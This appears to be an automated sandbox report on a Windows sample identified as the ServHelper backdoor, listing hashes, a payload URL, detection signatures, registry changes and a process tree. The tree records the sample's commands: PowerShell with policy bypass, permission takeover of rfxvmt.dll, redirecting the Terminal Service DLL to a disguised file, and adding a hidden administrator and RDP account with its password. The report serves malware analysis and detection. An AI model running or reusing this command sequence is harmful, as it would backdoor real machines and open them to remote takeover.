Analysis
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max time kernel
86s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
10-04-2024 13:36
Static task
static1
Behavioral task
behavioral1
Sample
b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80.exe
Resource
win10v2004-20231215-en
General
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Target
b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80.exe
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Size
6.7MB
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MD5
2b6ad7f446fe56f8bb5438a4784afe78
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SHA1
15f5584e569668013548b2f27a417a6482c9317f
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SHA256
b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80
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SHA512
160537e84ecc2694b514482b95dd70c03abc4580de2cd6f2ae38d332bf4446cbbf9a66676be87a8f4ca25b68be5533342af1d6ebde33577a0aff6a3004800bee
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SSDEEP
98304:gOOles66ycm4i+stzTTOzAElMLmZ7oo8kTApKGaRqc4O1XujlqEBLMkqzEoe:Ns6cizZTTLmxoQT7RRq4ujlBBTqz3
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 7 IoCs
Processes:
powershell.exeflow pid process 29 4536 powershell.exe 31 4536 powershell.exe 34 4536 powershell.exe 39 4536 powershell.exe 41 4536 powershell.exe 43 4536 powershell.exe 45 4536 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exepid process 4376 icacls.exe 4488 icacls.exe 3420 icacls.exe 1488 icacls.exe 4920 icacls.exe 1884 icacls.exe 4592 takeown.exe 3224 icacls.exe -
Sets DLL path for service in the registry 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png" reg.exe -
Loads dropped DLL 2 IoCs
Processes:
pid process 4600 4600 -
Modifies file permissions 1 TTPs 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exepid process 4488 icacls.exe 3420 icacls.exe 1488 icacls.exe 4920 icacls.exe 1884 icacls.exe 4592 takeown.exe 3224 icacls.exe 4376 icacls.exe -
Processes:
resource yara_rule C:\Windows\Branding\mediasrv.png upx C:\Windows\Branding\mediasvc.png upx -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Program Files directory 4 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe -
Drops file in Windows directory 18 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI85EA.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI860A.tmp powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI862B.tmp powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI862C.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_0u045mpi.1ku.ps1 powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_lwejiklt.yab.psm1 powershell.exe File created C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\shellbrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI85CA.tmp powershell.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\DisplayName = "Restricted sites" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data." powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0 powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\CurrentLevel = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
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Runs net.exe
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Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 31 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 34 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) 1 -
Suspicious behavior: EnumeratesProcesses 17 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 2792 powershell.exe 2792 powershell.exe 3820 powershell.exe 3820 powershell.exe 1264 powershell.exe 1264 powershell.exe 1264 powershell.exe 3076 powershell.exe 3076 powershell.exe 3076 powershell.exe 2792 powershell.exe 2792 powershell.exe 2792 powershell.exe 2792 powershell.exe 4536 powershell.exe 4536 powershell.exe 4536 powershell.exe -
Suspicious behavior: LoadsDriver 2 IoCs
Processes:
pid process 660 660 -
Suspicious use of AdjustPrivilegeToken 18 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exedescription pid process Token: SeDebugPrivilege 2792 powershell.exe Token: SeDebugPrivilege 3820 powershell.exe Token: SeDebugPrivilege 1264 powershell.exe Token: SeDebugPrivilege 3076 powershell.exe Token: SeRestorePrivilege 4376 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1360 WMIC.exe Token: SeIncreaseQuotaPrivilege 1360 WMIC.exe Token: SeAuditPrivilege 1360 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1360 WMIC.exe Token: SeIncreaseQuotaPrivilege 1360 WMIC.exe Token: SeAuditPrivilege 1360 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2780 WMIC.exe Token: SeIncreaseQuotaPrivilege 2780 WMIC.exe Token: SeAuditPrivilege 2780 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2780 WMIC.exe Token: SeIncreaseQuotaPrivilege 2780 WMIC.exe Token: SeAuditPrivilege 2780 WMIC.exe Token: SeDebugPrivilege 4536 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80.exepowershell.execsc.exenet.execmd.execmd.exenet.execmd.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exedescription pid process target process PID 4576 wrote to memory of 2792 4576 b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80.exe powershell.exe PID 4576 wrote to memory of 2792 4576 b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80.exe powershell.exe PID 2792 wrote to memory of 4444 2792 powershell.exe csc.exe PID 2792 wrote to memory of 4444 2792 powershell.exe csc.exe PID 4444 wrote to memory of 4616 4444 csc.exe cvtres.exe PID 4444 wrote to memory of 4616 4444 csc.exe cvtres.exe PID 2792 wrote to memory of 3820 2792 powershell.exe powershell.exe PID 2792 wrote to memory of 3820 2792 powershell.exe powershell.exe PID 2792 wrote to memory of 1264 2792 powershell.exe powershell.exe PID 2792 wrote to memory of 1264 2792 powershell.exe powershell.exe PID 2792 wrote to memory of 3076 2792 powershell.exe powershell.exe PID 2792 wrote to memory of 3076 2792 powershell.exe powershell.exe PID 2792 wrote to memory of 4592 2792 powershell.exe takeown.exe PID 2792 wrote to memory of 4592 2792 powershell.exe takeown.exe PID 2792 wrote to memory of 3224 2792 powershell.exe icacls.exe PID 2792 wrote to memory of 3224 2792 powershell.exe icacls.exe PID 2792 wrote to memory of 4376 2792 powershell.exe icacls.exe PID 2792 wrote to memory of 4376 2792 powershell.exe icacls.exe PID 2792 wrote to memory of 4488 2792 powershell.exe icacls.exe PID 2792 wrote to memory of 4488 2792 powershell.exe icacls.exe PID 2792 wrote to memory of 3420 2792 powershell.exe icacls.exe PID 2792 wrote to memory of 3420 2792 powershell.exe icacls.exe PID 2792 wrote to memory of 1488 2792 powershell.exe icacls.exe PID 2792 wrote to memory of 1488 2792 powershell.exe icacls.exe PID 2792 wrote to memory of 4920 2792 powershell.exe icacls.exe PID 2792 wrote to memory of 4920 2792 powershell.exe icacls.exe PID 2792 wrote to memory of 1884 2792 powershell.exe icacls.exe PID 2792 wrote to memory of 1884 2792 powershell.exe icacls.exe PID 2792 wrote to memory of 3600 2792 powershell.exe reg.exe PID 2792 wrote to memory of 3600 2792 powershell.exe reg.exe PID 2792 wrote to memory of 5092 2792 powershell.exe reg.exe PID 2792 wrote to memory of 5092 2792 powershell.exe reg.exe PID 2792 wrote to memory of 3680 2792 powershell.exe reg.exe PID 2792 wrote to memory of 3680 2792 powershell.exe reg.exe PID 2792 wrote to memory of 1584 2792 powershell.exe net.exe PID 2792 wrote to memory of 1584 2792 powershell.exe net.exe PID 1584 wrote to memory of 2548 1584 net.exe net1.exe PID 1584 wrote to memory of 2548 1584 net.exe net1.exe PID 2792 wrote to memory of 4996 2792 powershell.exe cmd.exe PID 2792 wrote to memory of 4996 2792 powershell.exe cmd.exe PID 4996 wrote to memory of 3120 4996 cmd.exe cmd.exe PID 4996 wrote to memory of 3120 4996 cmd.exe cmd.exe PID 3120 wrote to memory of 5048 3120 cmd.exe net.exe PID 3120 wrote to memory of 5048 3120 cmd.exe net.exe PID 5048 wrote to memory of 436 5048 net.exe net1.exe PID 5048 wrote to memory of 436 5048 net.exe net1.exe PID 2792 wrote to memory of 4616 2792 powershell.exe cmd.exe PID 2792 wrote to memory of 4616 2792 powershell.exe cmd.exe PID 4616 wrote to memory of 956 4616 cmd.exe cmd.exe PID 4616 wrote to memory of 956 4616 cmd.exe cmd.exe PID 956 wrote to memory of 4544 956 cmd.exe net.exe PID 956 wrote to memory of 4544 956 cmd.exe net.exe PID 4544 wrote to memory of 4552 4544 net.exe net1.exe PID 4544 wrote to memory of 4552 4544 net.exe net1.exe PID 2820 wrote to memory of 1920 2820 cmd.exe net.exe PID 2820 wrote to memory of 1920 2820 cmd.exe net.exe PID 1920 wrote to memory of 1612 1920 net.exe net1.exe PID 1920 wrote to memory of 1612 1920 net.exe net1.exe PID 448 wrote to memory of 1784 448 cmd.exe net.exe PID 448 wrote to memory of 1784 448 cmd.exe net.exe PID 1784 wrote to memory of 3180 1784 net.exe net1.exe PID 1784 wrote to memory of 3180 1784 net.exe net1.exe PID 4608 wrote to memory of 1828 4608 cmd.exe net.exe PID 4608 wrote to memory of 1828 4608 cmd.exe net.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80.exe"C:\Users\Admin\AppData\Local\Temp\b32f96217e69b983264075a884c789bbb59b04995f5468c2c6a54d9385d13a80.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4576 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2792 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fahbmn1j\fahbmn1j.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:4444 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5EBA.tmp" "c:\Users\Admin\AppData\Local\Temp\fahbmn1j\CSC4388F19E6E3043A78E5244F296408B4A.TMP"4⤵PID:4616
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3820
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1264
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3076
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4592
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3224
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4376
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4488
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3420
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1488
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4920
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1884
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:3600
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Sets DLL path for service in the registry
- Modifies registry key
PID:5092
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:3680
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1584 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:2548
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:4996 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:3120 -
C:\Windows\system32\net.exenet start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:5048 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:436
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
- Suspicious use of WriteProcessMemory
PID:4616 -
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
- Suspicious use of WriteProcessMemory
PID:956 -
C:\Windows\system32\net.exenet start TermService5⤵
- Suspicious use of WriteProcessMemory
PID:4544 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:4552
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1612
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:3732
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc Ghasar4f5 /del1⤵
- Suspicious use of WriteProcessMemory
PID:2820 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc Ghasar4f5 /del2⤵
- Suspicious use of WriteProcessMemory
PID:1920 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc Ghasar4f5 /del3⤵PID:1612
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc jx9Ty5N1 /add1⤵
- Suspicious use of WriteProcessMemory
PID:448 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc jx9Ty5N1 /add2⤵
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc jx9Ty5N1 /add3⤵PID:3180
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1828
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:2896
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" GAWKBMOT$ /ADD1⤵PID:3312
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" GAWKBMOT$ /ADD2⤵PID:3160
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GAWKBMOT$ /ADD3⤵PID:1172
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:3380
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:3820
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:2144
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc jx9Ty5N11⤵PID:2696
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc jx9Ty5N12⤵PID:4476
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc jx9Ty5N13⤵PID:4396
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:4376
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:1360
